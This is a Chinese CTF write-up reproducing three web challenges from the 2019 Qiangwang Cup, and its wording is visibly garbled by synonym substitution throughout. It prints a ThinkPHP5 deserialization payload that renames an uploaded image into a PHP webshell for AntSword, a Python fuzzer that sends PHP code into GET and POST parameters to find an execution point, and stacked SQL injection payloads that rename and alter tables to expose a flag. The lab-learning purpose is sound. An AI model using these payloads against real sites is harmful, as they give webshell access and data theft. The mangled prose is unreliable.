2019 第三届强网杯线上赛部分web复现

0x00前言php

周末打了强网杯,队伍只作得出来6道签到题,web有三道我仔细研究了可是没有最终作出来,赛后有在群里看到其余师傅提供了writeup和环境复现的docker环境,因而跟着学习一波并记录下来html

 

0x01 uploadpython

第一步扫目录发现有备份文件mysql

 

下载下来后大体浏览就清楚是thinkphp5框架,而且没有远程代码执行漏洞linux

根据题目的数据传输状况,能够发如今登陆后有个user的cookie值,base64解码后是序列化字符串git

 

查看源码,发现序列化字符串传入的位置是在Index.php的login_check()位置github

正常状况下是反序列化后是个数组,而后经过这个数组的属性和数据库的各个字段进行查询验证来返回是上传文件与否的回显web

继续浏览发现Profile.php文件中有2个模式方法,因而想到了pop链的构造,sql

可是要调用__get()须要访问不存在的变量或者私有变量,调用__call()须要访问不存在的方法或者私有方法docker

而Profile.php类中是不存在这种状况的,继续寻找找到Register.php中的Register类的析构方法调用了check对象的index()函数

check对象的index()参数是在Profile.php中不存在的,所以思路以下

反序列化传入一个Register对象,而Register对象的checker成员的值是Profile对象,这样就能触发Profile对象中的__call和__get方法了

陷入的困境:

在比赛时候作到这都还好,可是死活无法直接代码执行,以后还去thinkphp里面找有没有可以代码执行的pop链,无奈都失败了

最重要的是个人poc把单独的类拧出来(在windows下搭这个tp5项目数据库添加后估计路径有问题致使无法正常执行)能够触发,可是放在这个环境下运行就会出错。

因此比赛的时候作到这里就卡住了,也没作出来

最后新get到的点:

后面看了师傅的writeup才发现生成反序列化的类文件须要加命令空间才不会反序列化错误....(该死的thinkphp)

再者没法直接代码执行,可是能够调用Profile类中的upload_img()能够上传自定义文件名

仔细观察这段代码的逻辑

第一个判断if($this->checker)要确保不会执行,只有checker成员不赋值

第二个判断if(!empty($_FILE))也要确保不会执行,只须要不上传文件请求就行

第三个判断if($this->ext)须要执行

第三个判断中的第一个判断if(getimagesize($this->filename_tmp))须要执行,全部必需要保证filename_tmp的文件是个图片马,单纯的一句话过不了这个判断

接下来会把filename_tmp(先前传上去的图片马路径)更名成filename(新的php文件)便可

后面的update_img()就是改数据库中的img字段的值,但其实在copy命令以后已经可有可无了

payload以下,这里图片的路径我设置的绝对路径,相对路径也能够

<?php namespace app\web\controller; class Register{ public $checker; public $registed; public function __construct() { $this->checker=new Profile(); } } class Profile{ public $checker; public $filename_tmp = "/var/www/html/public/upload/e5a32351a6802ef0291ac7c4529588da/f383a31abdcf931f89bae4ab05d3e088.png"; public $filename = "/var/www/html/public/upload/e5a32351a6802ef0291ac7c4529588da/shell.php"; public $upload_menu = "upload_img"; public $ext = "1"; public $img; public $except = ["index" => "upload_menu"]; } $clazz = new Register(); echo serialize($clazz); echo "<hr>"; echo base64_encode(serialize($clazz)); ?>

把结果用cookie发过去

而后找到upload目录,已是shell.php的模样了,蚁剑链接便可(个人图片马结尾存在<致使直接在页面执行还要查看源码,因此就用链接器了)

 

 链接的效果

 

0x02 精明的黑客

这道题考察的是自动审计代码的python脚本编写能力,源码都有3002个,每一个又有好几百行,一个个看几乎不可能

通常的命令执行system,eval,assert,``,exec等在参数还没传到目标的时候就已有被赋值成空,或者存在一个根本不可能过的判断式子

因而只有用脚本审计了,写法是先获取每一个文件的$_GET和$_POST的参数,自定义赋值好比 echo "hello_qwb_qwb"; ,而后在本地把代码挂上去,用requests发get或者post请求,查看有没有"hello_qwb_qwb"的回显,若是有那么就是后面的参数了

emmmm.....python功力有点差,因而看看主要的函数

打开目录获取文件名函数:https://www.cnblogs.com/strongYaYa/p/7200357.html

获取$_GET和$_POST的使用正则规则:https://www.liaoxuefeng.com/wiki/897692888725344/923056128128864

打开文件操做:https://www.runoob.com/python/python-files-io.html

脚本以下,单线程太慢了,这里用了8个线程,windows的powershell跑python多线程真的不如linux

import requests import re import os import urllib import Queue import threading payload = 'echo "hello_qwb_qwb";' url = 'http://127.0.0.1/qwb/src/'

def fuzz(filename): file = open("./src/" + filename, "r") #print "[*]open:" + filename
    text = file.read() getpattern = re.compile(r'\$_GET\[\'(.*)\'\]') get = getpattern.findall(text) postpattern = re.compile(r'\$_POST\[\'(.*)\'\]') post = postpattern.findall(text) file_url = url + filename for g in get: r = requests.get(file_url + "?" + g + "=" + urllib.quote(payload)) if "hello_qwb_qwb" in r.text: print "[+]file:" + filename print "[+]get:" + g exit() for p in post: data = {p : payload} r = requests.post(file_url,data=data) if "hello_qwb_qwb" in r.text: print "[+]flie:" + filename print "[+]post:" + p exit() print "[*]finish:" + filename file.close() class TextThread(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.__queue = queue def run(self): global text queue = self.__queue
        while not queue.empty(): filename = queue.get() fuzz(filename) def main(): queue = Queue.Queue() for filename in os.listdir('./src'): queue.put(filename) thread_count = 8 threads = [] for i in range(0, thread_count): thread = TextThread(queue) thread.start() threads.append(thread) for thread in threads: thread.join() if __name__=='__main__': main()

运行中找到目标

 

获取flag

 

0x03 随便注入

这道题赛后才知道是堆叠查询,由于平时作题没有遇到使用multi_query()的状况,因此比赛时一直考虑有没有什么办法不借助select能查到其余table的值

了解它的waf后我当时是绝望的

可是由于是堆叠注入因此能够从头开始写sql语句

可用经过show查到数据库,当前数据库的表,盲注和报错注入也能够获取当前数据库名是supersqli

?inject=';show databases; ?inject=';show tables;

 

 

 

能够用describe 命令查表有哪些字段

?inject=';describe tablename;

 

这里的payload不加` 还显示不出来,此时已经能够知道flag的位置了,可是没办法读出来

这时候要把 `1919810931114514`表里命名成当前的表名`words`,再用or '1'='1就能查到了

在php层面查询的时候固定语句通常是 select * from words where id = $id这种,数据库里面的变化php是管不到的

更名在mysql中是rename,语法为

rename table `当前表名` to `改后表名`;

可是又由于words中是存在列id,估计查询语句也会根据该字段进行查询,可是装有flag的表里面没有id字段,所以要用alter来添加,语法

alter table `表名` add(字段名 字段类型 NULL)        #可为空

咱们能够以前经过describe查看`words`里面的id的字段类型,

是int,因此咱们的alert能够写成这样

alter table `1919810931114514` add(id int NULL)

最终的payload以下

?inject=';alter table `1919810931114514` add(id int NULL);rename table `words` to `tmp`;rename table `1919810931114514` to `words`;
#先添加一个叫id字段,能够为空
#再把words命名成任意名字
#把`1919810931114514`命名成word

最后用' or '1'='1 显示“当前表”的因此内容就能获取flag

 

 

0xff结语

本次writeup就是简单记录下本身遇到的坑吧,文章借鉴大佬的思路,本身跟着作一遍orz

感谢师傅提供的docker项目:

https://github.com/glzjin/qwb_2019_upload

https://github.com/glzjin/qwb_2019_supersqli

https://github.com/glzjin/qwb_2019_smarthacker

以及writeup

https://www.zhaoj.in/read-5873.html?tdsourcetag=s_pcqq_aiomsg

相关文章
相关标签/搜索